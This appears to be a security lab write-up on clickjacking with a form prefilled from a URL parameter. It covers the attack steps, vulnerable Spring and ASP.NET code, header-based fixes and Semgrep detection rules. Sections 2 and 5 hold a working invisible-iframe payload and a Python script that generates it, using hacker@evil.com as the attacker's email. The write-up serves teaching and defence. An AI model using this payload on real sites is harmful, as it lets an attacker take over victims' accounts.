Lab 2: Clickjacking with form input data prefilled from a URL parameter
1. Executive Summary
Vulnerability: Clickjacking (UI Redressing) combined with Parameter Injection.
Description: The application relies on CSRF tokens to protect the “Update email” functionality, but it lacks anti-framing headers (like X-Frame-Options). Furthermore, the application allows users to pre-fill the email form field by supplying an email GET parameter in the URL. By embedding the target page in an invisible iframe and supplying a malicious email address in the URL, an attacker can stage the form with their own data. When the victim clicks a decoy button, they unwittingly submit the pre-filled form.
Impact: Unauthorized Account Modification. Because the victim clicks the real button within the invisible iframe, their browser includes their valid session cookies and CSRF token. The email address is successfully updated to the attacker’s, potentially leading to full account takeover via password reset.
2. The Attack
Objective: Trick the victim into updating their account email to an attacker-controlled address by overlapping an invisible iframe over a decoy button.
- Reconnaissance & Pre-loading:
- I logged in as
wiener. - I inspected the
/my-accountpage. I discovered that appending?email=hacker@evil.comto the URL automatically populated the “Email” input field with that exact string. - I verified the HTTP response headers were missing
X-Frame-OptionsandContent-Security-Policy.
- I logged in as
- Payload Construction:
- I navigated to the Exploit Server and drafted the malicious HTML.
The Trap (Layer 2): I set the
<iframe>source to the target URL including the pre-populated email parameter:src="https://YOUR-LAB-ID.web-security-academy.net/my-account?email=hacker@evil.com". I set this layer toz-index: 2andopacity: 0.1.- The Decoy (Layer 1): I created a
<div>with the text “Click me” atz-index: 1.
- Alignment & Exploitation:
- I used the Exploit Server’s “View exploit” feature to visually align the buttons. I adjusted the
topandleftCSS properties of the decoy<div>until “Click me” sat directly beneath the faint “Update email” button. - Once perfectly aligned, I changed the iframe’s
opacityto0.0001, making it completely invisible. - I delivered the exploit. When the victim clicked “Click me”, they actually clicked “Update email”, submitting the form containing
hacker@evil.com.
- I used the Exploit Server’s “View exploit” feature to visually align the buttons. I adjusted the
3. Code Review
This section analyzes why the application is vulnerable. The root cause is the missing anti-framing headers, but we also look at how the pre-population is handled.
Vulnerability Analysis (Explanation):
Pre-filling form fields via query parameters is a standard UI/UX feature. It is not inherently dangerous. However, when combined with a lack of framing protection, it becomes a critical weapon. The backend blindly accepts the GET parameter and renders it directly into the HTML <input> tag’s value attribute.
Java (Spring Boot / Thymeleaf)
1
2
3
4
5
6
@GetMapping("/my-account")
public String accountPage(@RequestParam(value = "email", required = false) String email, Model model) {
// The email parameter is extracted from the URL and passed to the view
model.addAttribute("newEmail", email);
return "account";
}
1
2
3
4
5
6
<form action="/my-account/change-email" method="POST">
<input type="hidden" name="_csrf" value="${_csrf.token}"/>
<label>Email:</label>
<input type="email" name="email" th:value="${newEmail}">
<button type="submit">Update email</button>
</form>
Technical Flow & Syntax Explanation:
@RequestParam: Maps the query string parameter (?email=...) to the Java variable.th:value="${newEmail}": The template engine injects the attacker’s email into the input field before the page is sent to the browser. If the page hadX-Frame-Options: DENY, this wouldn’t matter because the attacker couldn’t frame it. Without it, the attacker successfully “stages” the attack.
C# (ASP.NET Core MVC)
1
2
3
4
5
6
7
[HttpGet("my-account")]
public IActionResult Account(string email)
{
// The framework automatically binds the query string to 'email'
var model = new AccountViewModel { Email = email };
return View(model);
}
1
2
3
4
5
<form method="post" asp-action="UpdateEmail">
@Html.AntiForgeryToken()
<input asp-for="Email" class="form-control" />
<button type="submit">Update email</button>
</form>
Technical Flow & Syntax Explanation:
asp-for="Email": The Tag Helper automatically sets thevalueattribute of the HTML input to the string passed via the URL. Because ASP.NET Core does not inject anti-framing headers by default, this pre-filled state is easily weaponized in an iframe.
4. The Fix
Explanation of the Fix:
You do not need to remove the pre-population feature. You simply need to prevent the page from being framed by external domains. The fix is identical to basic clickjacking: enforce UI isolation.
Secure Java
1
2
3
4
5
6
7
8
9
10
11
12
@Configuration
@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers()
// SECURE: Instructs the browser to block external framing
.frameOptions().sameOrigin()
.contentSecurityPolicy("frame-ancestors 'self'");
}
}
Secure C#
1
2
3
4
5
6
7
8
9
10
11
12
13
public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{
// SECURE: Inject framing protection headers globally
app.Use(async (context, next) =>
{
context.Response.Headers.Add("X-Frame-Options", "SAMEORIGIN");
context.Response.Headers.Add("Content-Security-Policy", "frame-ancestors 'self'");
await next();
});
app.UseRouting();
// ...
}
5. Automation
A Python script to generate the HTML payload for the Exploit Server. It dynamically constructs the pre-populated URL and outputs the CSS/HTML.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python3
import argparse
def generate_clickjacking_payload(lab_id, target_path, attacker_email, top, left):
# Construct the target URL with the pre-populated GET parameter
target_url = f"https://{lab_id}.web-security-academy.net{target_path}?email={attacker_email}"
html_payload = f"""
<!DOCTYPE html>
<html>
<head>
<style>
#target_website {{
position: relative;
width: 700px;
height: 700px;
opacity: 0.0001; /* Invisible for exploitation */
z-index: 2;
}}
#decoy_website {{
position: absolute;
width: 300px;
height: 400px;
/* Adjust these values to align the buttons */
top: {top}px;
left: {left}px;
z-index: 1;
}}
.decoy-btn {{
padding: 10px 20px;
background-color: #007bff;
color: white;
border: none;
cursor: pointer;
font-size: 16px;
}}
</style>
</head>
<body>
<div id="decoy_website">
<h2>Win a Prize!</h2>
<button class="decoy-btn">Click me</button>
</div>
<iframe id="target_website" src="{target_url}"></iframe>
</body>
</html>
"""
return html_payload
def main():
parser = argparse.ArgumentParser(description="Generate Clickjacking Payload with Pre-population")
parser.add_argument("lab_id", help="The unique PortSwigger Lab ID")
parser.add_argument("--email", default="hacker@evil.com", help="The email to pre-fill")
parser.add_argument("--top", default="400", help="CSS Top value for decoy")
parser.add_argument("--left", default="80", help="CSS Left value for decoy")
args = parser.parse_args()
payload = generate_clickjacking_payload(args.lab_id, "/my-account", args.email, args.top, args.left)
print("[*] Copy the following HTML into your Exploit Server:")
print("-" * 50)
print(payload)
print("-" * 50)
if __name__ == "__main__":
main()
6. Static Analysis (Semgrep)
Because the root vulnerability (missing anti-framing headers) is the same as the basic clickjacking lab, the Static Analysis rules focus on detecting the absence or explicit disabling of these critical headers.
Java Rule
1
2
3
4
5
6
7
8
9
10
11
rules:
- id: java-spring-xframeoptions-disabled
languages: [java]
message: |
Spring Security's X-Frame-Options protection has been explicitly disabled.
This leaves the application vulnerable to Clickjacking (UI Redressing) and pre-population attacks.
Remove this configuration to restore the default protection, or use '.sameOrigin()'.
severity: ERROR
patterns:
- pattern: |
$HTTP. ... .headers(). ... .frameOptions().disable()
Technical Flow & Syntax Explanation:
$HTTP: This metavariable matches theHttpSecurityobject passed into Spring’s configuration method..headers(). ... .frameOptions(): This navigates the fluent API chain to the specific configuration block for framing options. The...ellipsis operator allows Semgrep to match this even if other configurations (like CSRF or CORS) are chained in between..disable(): This is the critical sink. By finding the exact method call that turns off the default protection, Semgrep accurately flags code where a developer has intentionally (and insecurely) stripped theX-Frame-Optionsheader from HTTP responses.
C# Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
rules:
- id: csharp-missing-security-headers
languages: [csharp]
message: |
The application configuration lacks global security headers middleware.
Ensure you inject 'X-Frame-Options' or 'Content-Security-Policy: frame-ancestors'
to protect against Clickjacking and staged UI attacks.
severity: WARNING
patterns:
- pattern-inside: |
public void Configure(IApplicationBuilder $APP, ...) {
...
}
- pattern-not-inside: |
public void Configure(IApplicationBuilder $APP, ...) {
...
$APP.UseSecurityHeaders(...);
...
}
- pattern-not-inside: |
public void Configure(IApplicationBuilder $APP, ...) {
...
$CONTEXT.Response.Headers.Add("X-Frame-Options", ...);
...
}
Technical Flow & Syntax Explanation:
pattern-inside: This directive scopes the search strictly to theConfiguremethod in ASP.NET Core (Startup.csorProgram.csin newer .NET), which is where the HTTP middleware pipeline is defined.pattern-not-inside: $APP.UseSecurityHeaders(...): This is a negative filter. It checks if the developer is using a common third-party package (likeNetEscapades.AspNetCore.SecurityHeaders) to apply security headers globally. If this exists, Semgrep assumes the app is protected and stops analyzing.pattern-not-inside: $CONTEXT.Response.Headers.Add(...): This second negative filter checks for the manual approach of injecting theX-Frame-Optionsheader via custom middleware. If neither of these safe patterns is found inside theConfiguremethod, Semgrep flags the application as potentially vulnerable to framing.
